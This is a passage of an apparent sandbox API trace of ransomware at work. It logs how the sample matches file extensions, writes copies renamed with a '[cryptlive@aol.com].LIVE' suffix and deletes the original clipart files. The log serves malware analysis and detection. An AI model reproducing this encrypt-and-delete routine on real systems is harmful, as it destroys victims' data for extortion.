-1 [0147.608] lstrlenW (lpString=".bz2") returned 4 [0147.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.608] lstrlenW (lpString=".7z") returned 3 [0147.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.608] lstrlenW (lpString=".dbf") returned 4 [0147.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.608] lstrlenW (lpString=".1cd") returned 4 [0147.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.608] lstrlenW (lpString=".jpg") returned 4 [0147.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.608] lstrlenW (lpString=".doc") returned 4 [0147.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.608] lstrlenW (lpString=".docx") returned 5 [0147.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.608] lstrlenW (lpString=".pdf") returned 4 [0147.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.608] lstrlenW (lpString=".xls") returned 4 [0147.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.608] lstrlenW (lpString=".xlsx") returned 5 [0147.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.608] lstrlenW (lpString=".ppt") returned 4 [0147.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.608] lstrlenW (lpString=".zip") returned 4 [0147.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.608] lstrlenW (lpString=".rar") returned 4 [0147.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.609] lstrlenW (lpString=".bz2") returned 4 [0147.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.609] lstrlenW (lpString=".7z") returned 3 [0147.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.609] lstrlenW (lpString=".dbf") returned 4 [0147.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.609] lstrlenW (lpString=".1cd") returned 4 [0147.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.609] lstrlenW (lpString=".jpg") returned 4 [0147.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.609] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.609] lstrlenW (lpString="IN00233_.WMF") returned 12 [0147.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.610] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11190) returned 1 [0147.610] CloseHandle (hObject=0x3b4) returned 1 [0147.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0147.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.610] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.610] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.611] GetLastError () returned 0x0 [0147.611] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2bb6, lpOverlapped=0x0) returned 1 [0147.638] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2bc0, lpOverlapped=0x0) returned 1 [0147.639] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.639] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.639] SetEndOfFile (hFile=0x380) returned 1 [0147.639] CloseHandle (hObject=0x380) returned 1 [0147.639] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.640] SetEndOfFile (hFile=0x3b4) returned 1 [0147.642] CloseHandle (hObject=0x3b4) returned 1 [0147.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0147.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.740] lstrlenW (lpString=".doc") returned 4 [0147.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.740] lstrlenW (lpString=".docx") returned 5 [0147.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.740] lstrlenW (lpString=".pdf") returned 4 [0147.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.740] lstrlenW (lpString=".xls") returned 4 [0147.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.740] lstrlenW (lpString=".xlsx") returned 5 [0147.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.740] lstrlenW (lpString=".ppt") returned 4 [0147.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.740] lstrlenW (lpString=".zip") returned 4 [0147.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.740] lstrlenW (lpString=".rar") returned 4 [0147.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.740] lstrlenW (lpString=".bz2") returned 4 [0147.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString=".7z") returned 3 [0147.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.741] lstrlenW (lpString=".dbf") returned 4 [0147.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.741] lstrlenW (lpString=".1cd") returned 4 [0147.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.741] lstrlenW (lpString=".jpg") returned 4 [0147.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.741] lstrlenW (lpString=".doc") returned 4 [0147.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString=".docx") returned 5 [0147.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.741] lstrlenW (lpString=".pdf") returned 4 [0147.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString=".xls") returned 4 [0147.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.741] lstrlenW (lpString=".xlsx") returned 5 [0147.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.741] lstrlenW (lpString=".ppt") returned 4 [0147.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.741] lstrlenW (lpString=".zip") returned 4 [0147.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.741] lstrlenW (lpString=".rar") returned 4 [0147.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString=".bz2") returned 4 [0147.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.741] lstrlenW (lpString=".7z") returned 3 [0147.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.741] lstrlenW (lpString=".dbf") returned 4 [0147.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.742] lstrlenW (lpString=".1cd") returned 4 [0147.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0147.742] lstrlenW (lpString=".jpg") returned 4 [0147.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.742] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.742] lstrlenW (lpString="IN00957_.WMF") returned 12 [0147.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.743] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2944) returned 1 [0147.743] CloseHandle (hObject=0x36c) returned 1 [0147.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0147.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.743] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.744] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.744] GetLastError () returned 0x0 [0147.744] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xb80, lpOverlapped=0x0) returned 1 [0147.749] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0147.750] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.750] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.750] SetEndOfFile (hFile=0x3b4) returned 1 [0147.750] CloseHandle (hObject=0x3b4) returned 1 [0147.751] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.751] SetEndOfFile (hFile=0x36c) returned 1 [0147.753] CloseHandle (hObject=0x36c) returned 1 [0147.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0147.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.767] lstrlenW (lpString=".doc") returned 4 [0147.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.767] lstrlenW (lpString=".docx") returned 5 [0147.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.768] lstrlenW (lpString=".pdf") returned 4 [0147.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString=".xls") returned 4 [0147.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.768] lstrlenW (lpString=".xlsx") returned 5 [0147.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.768] lstrlenW (lpString=".ppt") returned 4 [0147.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.768] lstrlenW (lpString=".zip") returned 4 [0147.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.768] lstrlenW (lpString=".rar") returned 4 [0147.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString=".bz2") returned 4 [0147.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString=".7z") returned 3 [0147.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.768] lstrlenW (lpString=".dbf") returned 4 [0147.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.768] lstrlenW (lpString=".1cd") returned 4 [0147.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.768] lstrlenW (lpString=".jpg") returned 4 [0147.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.768] lstrlenW (lpString=".doc") returned 4 [0147.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString=".docx") returned 5 [0147.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.768] lstrlenW (lpString=".pdf") returned 4 [0147.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.768] lstrlenW (lpString=".xls") returned 4 [0147.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.769] lstrlenW (lpString=".xlsx") returned 5 [0147.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.769] lstrlenW (lpString=".ppt") returned 4 [0147.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.769] lstrlenW (lpString=".zip") returned 4 [0147.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.769] lstrlenW (lpString=".rar") returned 4 [0147.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.769] lstrlenW (lpString=".bz2") returned 4 [0147.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.769] lstrlenW (lpString=".7z") returned 3 [0147.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.769] lstrlenW (lpString=".dbf") returned 4 [0147.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.769] lstrlenW (lpString=".1cd") returned 4 [0147.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0147.769] lstrlenW (lpString=".jpg") returned 4 [0147.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.769] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.769] lstrlenW (lpString="J0086384.WMF") returned 12 [0147.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.784] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9734) returned 1 [0147.784] CloseHandle (hObject=0x1ec) returned 1 [0147.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0147.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.817] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.817] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.817] GetLastError () returned 0x0 [0147.817] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2606, lpOverlapped=0x0) returned 1 [0147.827] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2610, lpOverlapped=0x0) returned 1 [0147.828] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.828] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.829] SetEndOfFile (hFile=0x3d4) returned 1 [0147.829] CloseHandle (hObject=0x3d4) returned 1 [0147.829] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.829] SetEndOfFile (hFile=0x394) returned 1 [0147.831] CloseHandle (hObject=0x394) returned 1 [0147.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0147.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.832] lstrlenW (lpString=".doc") returned 4 [0147.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.832] lstrlenW (lpString=".docx") returned 5 [0147.832] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0147.832] lstrlenW (lpString=".pdf") returned 4 [0147.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.832] lstrlenW (lpString=".xls") returned 4 [0147.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.832] lstrlenW (lpString=".xlsx") returned 5 [0147.832] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0147.832] lstrlenW (lpString=".ppt") returned 4 [0147.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.833] lstrlenW (lpString=".zip") returned 4 [0147.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.833] lstrlenW (lpString=".rar") returned 4 [0147.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString=".bz2") returned 4 [0147.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString=".7z") returned 3 [0147.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.833] lstrlenW (lpString=".dbf") returned 4 [0147.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.833] lstrlenW (lpString=".1cd") returned 4 [0147.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned 